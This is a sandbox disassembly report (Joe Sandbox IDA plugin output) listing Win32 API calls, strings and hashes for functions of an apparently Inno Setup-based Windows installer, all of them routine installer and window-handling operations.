Part of subcall function 0041094C: GetCurrentThreadId.KERNEL32 ref: 0041099A

Part of subcall function 00419038: GetVersion.KERNEL32(004980EA), ref: 00419038

Part of subcall function 0044F73C: GetModuleHandleA.KERNEL32(user32.dll,NotifyWinEvent,004980FE), ref: 0044F777
Part of subcall function 0044F73C: GetProcAddress.KERNEL32(00000000,user32.dll), ref: 0044F77D

Part of subcall function 0044FBE4: GetVersionExA.KERNEL32(0049B790,00498103), ref: 0044FBF3

Part of subcall function 004531C4: GetModuleHandleA.KERNEL32(kernel32.dll,Wow64DisableWow64FsRedirection,00000000,0045325D,?,?,?,?,00000000,?,00498112), ref: 004531E4
Part of subcall function 004531C4: GetProcAddress.KERNEL32(00000000,kernel32.dll), ref: 004531EA
Part of subcall function 004531C4: GetModuleHandleA.KERNEL32(kernel32.dll,Wow64RevertWow64FsRedirection,00000000,kernel32.dll,Wow64DisableWow64FsRedirection,00000000,0045325D,?,?,?,?,00000000,?,00498112), ref: 004531FE
Part of subcall function 004531C4: GetProcAddress.KERNEL32(00000000,kernel32.dll), ref: 00453204

Part of subcall function 00456ED4: GetProcAddress.KERNEL32(00000000,SHCreateItemFromParsingName), ref: 00456EF8

Part of subcall function 0046441C: LoadLibraryA.KERNEL32(shell32.dll,SHPathPrepareForWriteA,00498126), ref: 0046442B
Part of subcall function 0046441C: GetProcAddress.KERNEL32(00000000,shell32.dll), ref: 00464431

Part of subcall function 0046CC10: GetProcAddress.KERNEL32(00000000,SHPathPrepareForWriteA), ref: 0046CC25

Part of subcall function 004786B4: GetModuleHandleA.KERNEL32(kernel32.dll,?,00498130), ref: 004786BA
Part of subcall function 004786B4: GetProcAddress.KERNEL32(00000000,VerSetConditionMask), ref: 004786C7
Part of subcall function 004786B4: GetProcAddress.KERNEL32(00000000,VerifyVersionInfoW), ref: 004786D7

Part of subcall function 004950C0: RegisterClipboardFormatA.USER32(QueryCancelAutoPlay), ref: 004950D9

SetErrorMode.KERNEL32(00000001,00000000,00498178), ref: 0049814A

Part of subcall function 00497E74: GetModuleHandleA.KERNEL32(user32.dll,DisableProcessWindowsGhosting,00498154,00000001,00000000,00498178), ref: 00497E7E
Part of subcall function 00497E74: GetProcAddress.KERNEL32(00000000,user32.dll), ref: 00497E84

Part of subcall function 004244CC: SendMessageA.USER32(?,0000B020,00000000,?), ref: 004244EB

Part of subcall function 004242BC: SetWindowTextA.USER32(?,00000000), ref: 004242D4

ShowWindow.USER32(?,00000005,00000000,00498178), ref: 004981AB

Part of subcall function 00481B8C: SetActiveWindow.USER32(?), ref: 00481C3A

Strings

Setup, xrefs: 00498191

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: AddressProc$HandleModule$Window$Version$ActiveClipboardCommandCurrentErrorF551FormatLibraryLineLoadMessageModePolicyProcessRegisterSendShowTextThread
String ID: Setup
API String ID: 3870281231-3839654196
Opcode ID: c82cb4154b49966d52098e7678e9f8cbacc3d3e1a40bce85d329610fd5ea755b
Instruction ID: d0c772c7b00e67a50ac74b8b43c66aaf35bd51fc0d8445b6be8c1c392d06dbfc
Opcode Fuzzy Hash: c82cb4154b49966d52098e7678e9f8cbacc3d3e1a40bce85d329610fd5ea755b
Instruction Fuzzy Hash: 6E31A471208A409ED601BBB7ED53A293B98EF89B18B61447FF80482593DE3D5C158A7E

Function 0042DBF8 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 113registryCOMMON

Download Yara Rule

APIs

RegQueryValueExA.ADVAPI32(?,?,00000000,?,00000000,?,00000000,0042DD30), ref: 0042DC34
RegQueryValueExA.ADVAPI32(?,?,00000000,?,00000000,70000000,?,?,00000000,?,00000000,?,00000000,0042DD30), ref: 0042DCA4

Strings

2H, xrefs: 0042DD27, 0042DC80, 0042DC90, 0042DCEC, 0042DD10, 0042DD00, 0042DCD7

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: QueryValue
String ID: 2H
API String ID: 3660427363-1900415311
Opcode ID: 14541883276540ac7989a720439aace4da052e0d2dc9232dcf0108ce5bd41f35
Instruction ID: 6f29e5db34dee79be2e4bdbc2feb63702d0df34b1de6f6cc3bdc936bcd48876b
Opcode Fuzzy Hash: 14541883276540ac7989a720439aace4da052e0d2dc9232dcf0108ce5bd41f35
Instruction Fuzzy Hash: 88414271E04529ABDB11DF95D881BAFB7B8EF05704FA18466E800F7241D778EE01CBA9

Function 004539F8 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 83COMMON

Download Yara Rule

APIs

CreateDirectoryA.KERNEL32(00000000,00000000,?,00000000,00453AE7,?,?,00000000,0049B628,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00453A3E
GetLastError.KERNEL32(00000000,00000000,?,00000000,00453AE7,?,?,00000000,0049B628,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00453A47

Strings

.tmp, xrefs: 00453A27

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: CreateDirectoryErrorLast
String ID: .tmp
API String ID: 1375471231-2986845003
Opcode ID: 78f230c1c23ee00a09b91ad4e0d90e969b8545f4e864f0322f10b99bd95edb86
Instruction ID: 5c47afe113f3b23246b8f03ea8338b9bfcdda488aecdb3892d8cb76e5c942ae9
Opcode Fuzzy Hash: 78f230c1c23ee00a09b91ad4e0d90e969b8545f4e864f0322f10b99bd95edb86
Instruction Fuzzy Hash: 4A213374A00218ABDB01EFA5C8529DFB7B9EF48305F50457BE801B7342DA7C9F059BA9

Function 0047BE88 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 36registryCOMMON

Download Yara Rule

APIs

RegCloseKey.ADVAPI32(?,?,00000001,00000000,?,?,?,0047C10E,00000000,0047C124,?,?,?,?,00000000), ref: 0047BEEA

Strings

RegisteredOrganization, xrefs: 0047BED9
RegisteredOwner, xrefs: 0047BEC7

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: Close
String ID: RegisteredOrganization$RegisteredOwner
API String ID: 3535843008-1113070880
Opcode ID: 27ab63dfb5301e991ca37986a8aa3ba83a7bb1c6c96b168b2a63f47a98e3c08c
Instruction ID: 7ba728e1ef3f38ce6dcb00f7549556e1698566df6bc9e7584ed9d3abf6b47640
Opcode Fuzzy Hash: 27ab63dfb5301e991ca37986a8aa3ba83a7bb1c6c96b168b2a63f47a98e3c08c
Instruction Fuzzy Hash: 2CF09060704244AFEB00E665DC92BEA33A9D745304F20803BE2048B392D779AE00CB5C

Function 0046EC64 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34registryCOMMON

Download Yara Rule

APIs

RegSetValueExA.ADVAPI32(?,Inno Setup: Setup Version,00000000,00000001,00000000,00000001,r_G,?,0049C1D0,?,0046EF7B,?,00000000,0046F516,?,_is1), ref: 0046EC87

Strings

Inno Setup: Setup Version, xrefs: 0046EC85
r_G, xrefs: 0046EC69

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: Value
String ID: Inno Setup: Setup Version$r_G
API String ID: 3702945584-2380526977
Opcode ID: b48b0372e97a4200f87fd252dff6264bc446dea2a7e948ac8a811b1755729780
Instruction ID: ba068d84db82e82ca1a3bed1356aff977b130b22b64274b732cbd5037cad883f
Opcode Fuzzy Hash: b48b0372e97a4200f87fd252dff6264bc446dea2a7e948ac8a811b1755729780
Instruction Fuzzy Hash: 7DE06D753012047FD710AA2F9C85F5BBADCDF88765F10403AB908DB392D978DD0181A9

Function 00475034 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 28fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,C0000000,00000000,00000000,00000001,00000080,00000000,00000000,?,0047526B), ref: 00475059
CloseHandle.KERNEL32(00000000,00000000,C0000000,00000000,00000000,00000001,00000080,00000000,00000000,?,0047526B), ref: 00475070

Part of subcall function 00453470: GetLastError.KERNEL32(00000000,00454005,00000005,00000000,0045403A,?,?,00000000,0049B628,00000004,00000000,00000000,00000000,?,004978B1,00000000), ref: 00453473

Strings

CreateFile, xrefs: 00475065

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: CloseCreateErrorFileHandleLast
String ID: CreateFile
API String ID: 2528220319-823142352
Opcode ID: 45f398a1a593fdecff2147bb029019ab571d1f120eeae4798deb9ab921dd96fc
Instruction ID: 870c31508693feaa39a4cce9bbdb9491accbaf3cbacbc975652ec4f9337bcdac
Opcode Fuzzy Hash: 45f398a1a593fdecff2147bb029019ab571d1f120eeae4798deb9ab921dd96fc
Instruction Fuzzy Hash: 88E06D302403447FEA10EA69CCC6F497798AB04728F10C152FA48AF3E2C5B9FC80866C

Function 00456ED4 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 11libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 00456E64: CoInitialize.OLE32(00000000), ref: 00456E6A

Part of subcall function 0042E38C: SetErrorMode.KERNEL32(00008000), ref: 0042E396
Part of subcall function 0042E38C: LoadLibraryA.KERNEL32(00000000,00000000,0042E3E0,?,00000000,0042E3FE,?,00008000), ref: 0042E3C5

GetProcAddress.KERNEL32(00000000,SHCreateItemFromParsingName), ref: 00456EF8

Strings

shell32.dll, xrefs: 00456EED
SHCreateItemFromParsingName, xrefs: 00456EE3

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: AddressErrorInitializeLibraryLoadModeProc
String ID: SHCreateItemFromParsingName$shell32.dll
API String ID: 2906209438-2320870614
Opcode ID: 08d23a7e6096c5616a14a2d2cd89d11c62b3b5d1f72113431a163231d9b2ac33
Instruction ID: 195fe0e36b32ee525331c9a8c220a45252f3edc4141651a384f0b9e1c2da6bc9
Opcode Fuzzy Hash: 08d23a7e6096c5616a14a2d2cd89d11c62b3b5d1f72113431a163231d9b2ac33
Instruction Fuzzy Hash: 45C00291B4265092CA40B7FA695261E28049B8031AB92813BB951A7587CA6C88099A6E

Function 0046CC10 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 8libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 0042E38C: SetErrorMode.KERNEL32(00008000), ref: 0042E396
Part of subcall function 0042E38C: LoadLibraryA.KERNEL32(00000000,00000000,0042E3E0,?,00000000,0042E3FE,?,00008000), ref: 0042E3C5

GetProcAddress.KERNEL32(00000000,SHPathPrepareForWriteA), ref: 0046CC25

Strings

shell32.dll, xrefs: 0046CC1A
SHPathPrepareForWriteA, xrefs: 0046CC10

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: AddressErrorLibraryLoadModeProc
String ID: SHPathPrepareForWriteA$shell32.dll
API String ID: 2492108670-2683653824
Opcode ID: 55b93e5fb714966f70f5ffd37ba9539aaa645b322ed6e907ef1699bb6481b051
Instruction ID: f133f44782887ed2db26bd8e5f2adaf6b1782a38bec069888892578a86e918ee
Opcode Fuzzy Hash: 55b93e5fb714966f70f5ffd37ba9539aaa645b322ed6e907ef1699bb6481b051
Instruction Fuzzy Hash: 85B092A060274086CB00B7A2699262B28059740309B90803BB0889B286EA3C88121BEF

Function 00448524 Relevance: 4.7, APIs: 3, Instructions: 151libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryExA.KERNEL32(00000000,00000000,00000008,?,?,00000000,00448701), ref: 00448644
GetProcAddress.KERNEL32(00000000,00000000), ref: 004486C5

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID:
API String ID: 2574300362-0
Opcode ID: 38a0c8dcb6cfe2486321be47105cd2edcf630b03ef44025de89f80e5062423d0
Instruction ID: 4a5ebe3fee4a2e51bf72c529b0c862ae9b4ea9e2815ff95c09d8a3db799a058c
Opcode Fuzzy Hash: 38a0c8dcb6cfe2486321be47105cd2edcf630b03ef44025de89f80e5062423d0
Instruction Fuzzy Hash: 4A515470E00105AFDB40EFA5C481AAEBBF9EB45315F11817FE814BB391DA789E05CB99

Function 00481240 Relevance: 4.6, APIs: 3, Instructions: 98windowCOMMON

Download Yara Rule

APIs

GetSystemMenu.USER32(00000000,00000000,00000000,00481378), ref: 00481310
AppendMenuA.USER32(00000000,00000800,00000000,00000000), ref: 00481321
AppendMenuA.USER32(00000000,00000000,0000270F,00000000), ref: 00481339

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: Menu$Append$System
String ID:
API String ID: 1489644407-0
Opcode ID: 63b26f928f1c87accb3103f044f3acf90972e1faa844404f13018ca58e8bddc3
Instruction ID: 5c8896f7e766c0ec1e9fe117ebe49108a2e73e6ee011f2acc73c141eda266b91
Opcode Fuzzy Hash: 63b26f928f1c87accb3103f044f3acf90972e1faa844404f13018ca58e8bddc3
Instruction Fuzzy Hash: F431A0307043441AE711FB759C82BAE3B989B55318F54997BBC00A62E3CA7C9C4A87AD

Function 004524E4 Relevance: 4.6, APIs: 3, Instructions: 75COMMON

Download Yara Rule

APIs

74D41520.VERSION(00000000,?,?,?,00496E0C), ref: 00452504
74D41500.VERSION(00000000,?,00000000,?,00000000,0045257F,?,00000000,?,?,?,00496E0C), ref: 00452531
74D41540.VERSION(?,004525A8,?,?,00000000,?,00000000,?,00000000,0045257F,?,00000000,?,?,?,00496E0C), ref: 0045254B

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: D41500D41520D41540
String ID:
API String ID: 2153611984-0
Opcode ID: c4d10431c24d3ec04fd95a2756a86a033cda299e0aeed98268810ee563e95d09
Instruction ID: e6b34cf6ad4872bd94a826b675f3d2b909ad99421c044533a40ff62eec17d383
Opcode Fuzzy Hash: c4d10431c24d3ec04fd95a2756a86a033cda299e0aeed98268810ee563e95d09
Instruction Fuzzy Hash: C2219531A00608BFDB01DAA98D519AFB7FCEB4A341F554477FC04E3242E6B9AE04C769

Function 0044B384 Relevance: 4.6, APIs: 3, Instructions: 74COMMON

Download Yara Rule

APIs

73A1A570.USER32(00000000,?,00000000,00000000,0044B485,?,00481BA7,?,?), ref: 0044B3F9
SelectObject.GDI32(?,00000000), ref: 0044B41C
73A1A480.USER32(00000000,?,0044B45C,00000000,0044B455,?,00000000,?,00000000,00000000,0044B485,?,00481BA7,?,?), ref: 0044B44F

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: A480A570ObjectSelect
String ID:
API String ID: 1230475511-0
Opcode ID: c86bc8a9f0cb4198ec92499236d982b336435bb3408aeec5184fda352670fa70
Instruction ID: d0000cdbf443d5d41ac7fc8b7796d2cef13fade9d4e1083fbf8e955bfb0ad8b0
Opcode Fuzzy Hash: c86bc8a9f0cb4198ec92499236d982b336435bb3408aeec5184fda352670fa70
Instruction Fuzzy Hash: 94217770A04348AFEB11DFA6C851B9FBBB8DB49304F5184BAF904A6682D778D940CB59

Function 0044B0B8 Relevance: 4.6, APIs: 3, Instructions: 72COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00000000,0044B144,?,00481BA7,?,?), ref: 0044B116
DrawTextW.USER32(?,?,00000000,?,?), ref: 0044B129
DrawTextA.USER32(?,00000000,00000000,?,?), ref: 0044B15D

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: DrawText$ByteCharMultiWide
String ID:
API String ID: 65125430-0
Opcode ID: a3bbdd0e85052032b4464c044c199c381ab15dbe2007c11af0ea937095cc15c9
Instruction ID: 20993999b02ad9b2d132c7482a3993701c750e35562fff3cb1b1e5e45c97fd42
Opcode Fuzzy Hash: a3bbdd0e85052032b4464c044c199c381ab15dbe2007c11af0ea937095cc15c9
Instruction Fuzzy Hash: 9211B9B17046047FEB00DA6A9C82D6F77EDEB49754F10417AF504D7290D6399E0186A9

Function 004243F4 Relevance: 4.6, APIs: 3, Instructions: 59windowCOMMON

Download Yara Rule

APIs

PeekMessageA.USER32(?,00000000,00000000,00000000,00000001), ref: 0042440A
TranslateMessage.USER32(?), ref: 00424487
DispatchMessageA.USER32(?), ref: 00424491

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: Message$DispatchPeekTranslate
String ID:
API String ID: 4217535847-0
Opcode ID: 57886541ca2a25700c9c74098ac3e1b954634baf7139c1061c5cdbc3fad4e66a
Instruction ID: b41559e7cef9b8617ee35765752275fac57a970be1b78d71f4432c2d4d9c435b
Opcode Fuzzy Hash: 57886541ca2a25700c9c74098ac3e1b954634baf7139c1061c5cdbc3fad4e66a
Instruction Fuzzy Hash: E911943030471096EA20F6A4E94179B73D4DFC1748F80485EF98997382D7BD9E45979F

Function 0041663C Relevance: 4.5, APIs: 3, Instructions: 39COMMON

Download Yara Rule

APIs

SetPropA.USER32(00000000,00000000), ref: 00416662
SetPropA.USER32(00000000,00000000), ref: 00416677
SetWindowPos.USER32(00000000,00000000,00000000,00000000,00000000,00000000,00000013,00000000,00000000,?,00000000,00000000), ref: 0041669E

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: Prop$Window
String ID:
API String ID: 3363284559-0
Opcode ID: c28d9c26afe72c5be1bf0cacc918de6e274a174950c4a3475c45b681fa8918c3
Instruction ID: 2f709078d098ddf512341954ec1abde5ac178872df7165362e48a9b460053d77
Opcode Fuzzy Hash: c28d9c26afe72c5be1bf0cacc918de6e274a174950c4a3475c45b681fa8918c3
Instruction Fuzzy Hash: 11F0B271701210ABDB10AB599C85FA732DCAB09715F16017AB945EF286C6B8DD5087A8

Function 0041EE4C Relevance: 4.5, APIs: 3, Instructions: 27windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 0041EE5C
IsWindowEnabled.USER32(?), ref: 0041EE66
EnableWindow.USER32(?,00000000), ref: 0041EE8C

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: Window$EnableEnabledVisible
String ID:
API String ID: 3234591441-0
Opcode ID: 8d68ea6b8e39d06ec6ae2b778d87487b924e250a5b1b44c5d2ba2f9a93d60018
Instruction ID: 168d1bb9c0e6e8839a01a9d99d3d7c452caa6e9a1b9b90f31caf5ae3eef8e520
Opcode Fuzzy Hash: 8d68ea6b8e39d06ec6ae2b778d87487b924e250a5b1b44c5d2ba2f9a93d60018
Instruction Fuzzy Hash: 75E06D75100300AAE701AB2BDCC1B5B7ADCAB54350F02843FA9489B292D63ADC408B3C

Function 00469D44 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 232COMMON

Download Yara Rule

APIs

SetActiveWindow.USER32(?), ref: 00469E55

Strings

PrepareToInstall, xrefs: 00469DFF, 00469EA6

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
